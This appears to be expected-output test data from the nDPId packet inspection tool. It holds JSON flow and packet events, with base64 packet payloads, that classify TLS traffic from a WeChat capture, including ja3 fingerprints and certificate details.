+00597{"flow_id":59,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":979750,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACy8RxAAEAGJ6HAqAFny82Tq+K0AbvYTb6RpZNroIAYASjeiQAAAQEICgAyTTxF8qS2FgMDAEYQAABCQQQbsQkjZ8nG+G3tfEfZXtcxiAZo2Zo0eCMu9wEzcQaqEOnnj2+VEmdyNLCfd703CPi7AvTtbdyFi3QXIMp5pGKTFAMDAAEBFgMDACgAAAAAAAAAANGEg2RP21kloYbSnOD1PFyuJVViGOVwMG7ZUa3E4ebt"} +00499{"flow_id":59,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167766,"pkt_ts_usec":251707,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn+8RAAC8GLaTLzZOrwKgBZwG74rSlk2ug2E2\/D4AYAHizQwAAAQEICkXypPoAMk08FAMDAAEBFgMDAChUWQ8rRDGKDrrxdb27\/tlT8ba1TPAe6hFCARlxgjc9\/SlhAZI7L9++"} +02012{"flow_id":59,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167766,"pkt_ts_usec":252880,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATE8R1AAEAGI47AqAFny82Tq+K0AbvYTb8PpZNr04AYASgJiQAAAQEICgAyTYFF8qT6FwMDBIsAAAAAAAAAAWD6F2JuwOOjrhy6bMJh8\/+FPWeAY5\/yLrexu8no7mi4dAiwZSzTxZsiuoDsksmBElqJURh33xuaBFQFcKhVXo6Y96BnB4VCYP7yXcEz54+uMfdPjrmMlDXvgeEFH5ZvSwc5xC5uIWjJjSvdj8Ph1KKf\/Beok78B1kadAi\/1yPKvGxasVfkmdb7N4Ax1JtLZSGFgUzSB9cF09PSTQdhBI\/Rzrzc19JB\/qHP4D08\/XEBD22E2MUFFtGuPr+v6zfNwsNTs+QDBAulqFl1RuXIoRL7QtRzMz6DwMvcHwl42Jtwt99RNyojiyhIqjpHJGaQEkU7XD410J5sphE5a1wf145njMVjf2toY9Ws1HlEHFfxcobqVCPVHfTJuiz\/DPQogB8JyW2erQgZpW3ca9zwMnhxd7GQ7rRzd3aZ9FuK0xvlASJEVsVf66jagN6sVl7e\/m9kRjgTBiZg4++GCDQuYsaq2R2r7jZXita0qqi9j6Belj0S0+tGDFzTy4FSZCx+OMT4x+XMBo7xvmUbGQ0KfvblLDYrvw3TPKdlRIiyU1aK43DvIR7uzL4gx9QjYSvQdXDIkp7f2D4hJ9tjyJSt05JS1wDuU5TTz3UsfdF9+84CGzEVQ+LcpkHnkc7lK3tjepvvOZ+lK9RH3FbW2+FuiyVcO+kD7yKREpWT9qYw7ARThtnm9Vrtaz3XcomILd0Z2qJSZ5xxbcyctFoGbiUhEMaTc\/OEmW2vDeYOkI4rasI3NOwk0\/osaqvdyl0sYrkYbeqEnQSg1tWXGG8O8BiszZKzk0oGcDvRb8+Ln5QzVIa7WVbUttXK5RM8ZxFGIhyZZzAMkbstBFuhag4OhBzmbJqhw5UANBqa9fpEw6xArXSeNRulNpepWPCDetQOKMTHFU\/qQLZR2GpUEyiGWqK3e20nf0sEaAD8fOezZ0s+fY4Kxlo6bFEIO6M\/m1Kmklzwvt+wCN43E7cFAKkH1wLRSsj+vV3a0IMHNqyLQ7lIhfgeyTUpo3RsamrrwEKgnLYzQx31k+CKxjBl3rfRnrtZcREqb5FyOPn8iU5O2Q1xz5aP+CGqZFDgej0hOqtaKkb6ngzO0RujY\/FCUXAm+gWOs5jiTwtcO52P4saMaPqzMAcmQN7gRQEgBZnan4W2MRrDzRkJ5sgrdCo+m7N1XF\/Wd61mvorfI8tpNv\/3qSVvz62RDq+oCt1lGT7inBjLKfBAEOXg2JWvt8skQ7oHKn2PxQXBI0WY3g0ATHJBYv\/Mg7wpIGeS2G8eLpu12D4igHRst723JL8YMEDToZk25zwxI\/oWivwsV3MpnRNKqL+MM+S8zar\/l0Z5it351NICLDExDPGfKA8m+nkfyTgnUlRAZGztCzDSYDvMKiqwThAlf2vZJgYpakISl96HsMJ+7fhiwIE1v5CzTYMzdAgk6cfISQYtb3WinTnODp9bdqLYDedKOx++SbPXPjRN7nhKnRQfw58woJFjLJalqmb5qrqNRC7u2SFb9ED6fT5GmZyw5GFDbKTbM+\/C9genbRSmJSLmEQLFknQ=="} +01096{"flow_id":59,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167766,"pkt_ts_usec":256128,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"8IQvSpdgeJKcD6iOCABFAAIe8R5AAEAGJjPAqAFny82Tq+K0AbvYTcOfpZNr04AYASj4fgAAAQEICgAyTYFF8qT6FwMDAeUAAAAAAAAAArGSK6vg4V6ONkIANrXoEA1w3amtVbYxWsrGNXZufnMHgT3aK4D6qCJ8210x1aPb0HbyqC9c01TxW5rWyFwXYobrMkjPEacdcqbimPaI6BCCfrTlbWku4HfJUoqLcqhgMtJb7g+i9acBTQG2a\/V\/qBDYGiSabuSBeJZeC0h\/tu3F4xKKB61VH66psng67pca\/F601HoUhmZb+XOL6WIWIA5AXCRyH75myXxQoD5W5Xk+ZyfPUU8qS0CWqqlw9di5Hf2R54L+E6Ves+FAo2kDDtSA2UlgzkY0NqbNPzp8bCOOz9p\/srEymVv8IpNVQx9DmwakY\/Paf02pzFvOJPfBVE\/QrIVZ5CBGTlYukyDD8Xpx9YvRn4C3tcrFcximnIGa84eTXNIYnOLxpoCyFfDBNj1xNMMw\/zR44OHc1rel7N0tHOkTSEr4zFshHyoKNWcDGH9Ya\/uCYkQe5ctc3EFo\/hOZ7qI8ARWsjsRaAWG7UdjBU6LQZzzj0g+CK477vfzAeMYVd+VGOFLeYCs+RWIbY8HnyzsQBvQ5wajvJIIpovnoJSJdBjfvtc+LhGcZut83EYoJ1qdKo\/g1eCNMo+NHa9YlfJBIkW4Uq4esnCarOPr1TAjUF56Hxj3ceBC0qw=="} +00437{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1248,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167767,"pkt_ts_usec":274060,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rU+QocNNwsr8KASN8h73QAAAgQFoAQCCApFrtMIADJNMQEDAwc="} +00425{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167767,"pkt_ts_usec":274119,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZwVAAEAGsjbAqAFny82Tq+K1Abs3CyvwPkKHDoAQAOXhegAAAQEICgAyToBFrtG3"} +00426{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1257,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167776,"pkt_ts_usec":953723,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZwZAAEAGsjXAqAFny82Tq+K1Abs3CyvwPkKHDoARAOXYBQAAAQEICgAyV\/RFrtG3"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1258,"source":"wechat.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1492167776953,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58038,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167776,"pkt_ts_usec":953879,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8k9VAAEAGhV7AqAFny82Tq+K2AbuZa8QhAAAAAKACchAaQgAAAgQFtAQCCAoAMlf0AAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1259,"source":"wechat.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1492167777204,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58039,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":204515,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8XvpAAEAGujnAqAFny82Tq+K3Abv08QbJAAAAAKACchB71AAAAgQFtAQCCAoAMlgzAAAAAAEDAwc="} +00437{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":220516,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rYX2Lh9mWvEIqASN8j8PgAAAgQFoAQCCApF00IlADJX9AEDAwc="} +00425{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1261,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":220585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0k9ZAAEAGhWXAqAFny82Tq+K2AbuZa8QiF9i4foAQAOVhlwAAAQEICgAyWDdF00Il"} +00425{"flow_id":60,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1262,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":220877,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0VEVAAC8G1VbLzZOrwKgBZwG74rU+QocONwsr8YARAHDNcQAAAQEICkWu3L8AMlf0"} +00426{"flow_id":60,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1263,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":220927,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZwdAAEAGsjTAqAFny82Tq+K1Abs3CyvxPkKHD4AQAOXMuQAAAQEICgAyWDdFrty\/"} +00750{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1264,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":221018,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEik9dAAEAGhHbAqAFny82Tq+K2AbuZa8QiF9i4foAYAOUtNAAAAQEICgAyWDdF00IlFgMBAOkBAADlAwO7CPpUAi5ji1WrIUUoJckLyw+WP0iTwMQC+JpZ0PHlhCBDtbBAnWnGygM6P1AG0j+Q0vm5\/VvsmvPTT+HjfnB2iAAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8+voAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAICgoAHQAXABhaWgABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1264,"source":"wechat.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":4,"flow_first_seen":1492167776953,"flow_last_seen":1492167777221,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58038,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00438{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":476493,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74reza+A99PEGyqASN8j\/yAAAAgQFoAQCCApFrtz+ADJYMwEDAwc="} +00425{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":476579,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XvtAAEAGukDAqAFny82Tq+K3Abv08QbKs2vgPoAQAOVlIAAAAQEICgAyWHdFrtz+"} +00425{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":492766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0+hdAAC8GL4TLzZOrwKgBZwG74rYX2Lh+mWvFEIAQAHhg0gAAAQEICkXTQmkAMlg3"} +02346{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":494071,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI+hhAAC8GKe\/LzZOrwKgBZwG74rYX2Lh+mWvFEIAQAHhv+gAAAQEICkXTQmkAMlg3FgMDAF0CAABZAwMMdZZFC+a\/dtCPgB6zd6eEL1mqS0ty8xuhCtoWZrw+ICAMsBFok8j6ktN3mDNfYh89ubRYR7QbnhPUZ8eCwdphM8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1268,"source":"wechat.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":6,"flow_first_seen":1492167776953,"flow_last_seen":1492167777494,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58038,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1269,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":494128,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0k9hAAEAGhWPAqAFny82Tq+K2AbuZa8UQF9i+EoAQAPtadwAAAQEICgAyWHtF00Jp"} +02702{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":494665,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbM+hlAAC8GKOrLzZOrwKgBZwG74rYX2L4SmWvFEIAYAHgoRwAAAQEICkXTQmkAMlg3i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQboshvxbTukiMimVQa2YbqP6iCCo5p7IPPYwOxUDOVm+iIWtRrqCuB2B\/s6Aeg0tRNXQX1KdroNbGN\/5qs8Z8bBgEBAFkL\/ex+jsqCBE+xXTsicXe+iS+maDDG5QgxIY9bYMVVBHj8fOVbMJQgoASCmJzIoErqKMPAhy+2syGGRA\/NWeMmSYBYh8Jg3kV2sAQwn8MTC\/J0DROx1oSBL8rfC\/F6Wc\/LtfmHtl3Mim0ah6fL4AqyNpveeiHUPigKWJdeodQFcXYgPwU13ZYq9tVM\/3b7yys5dswaSYlvqIGfG2hsuke2MIrIpvLc45hjLSJusMMnf7h2gbo16ncLTUCtrqUeOqSgQJEa9K14mMn1J0YfCPt1IBVAlhxyeII3LTKHEgjmKweWZVlB5iuFZ3WXRsYPTlYzVjcI+LOwK0zCLoafoy8WAwMABA4AAAA="} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1270,"source":"wechat.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":8,"flow_first_seen":1492167776953,"flow_last_seen":1492167777494,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58038,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":494700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0k9lAAEAGhWLAqAFny82Tq+K2AbuZa8UQF9jEqoAQARVTxQAAAQEICgAyWHtF00Jp"} 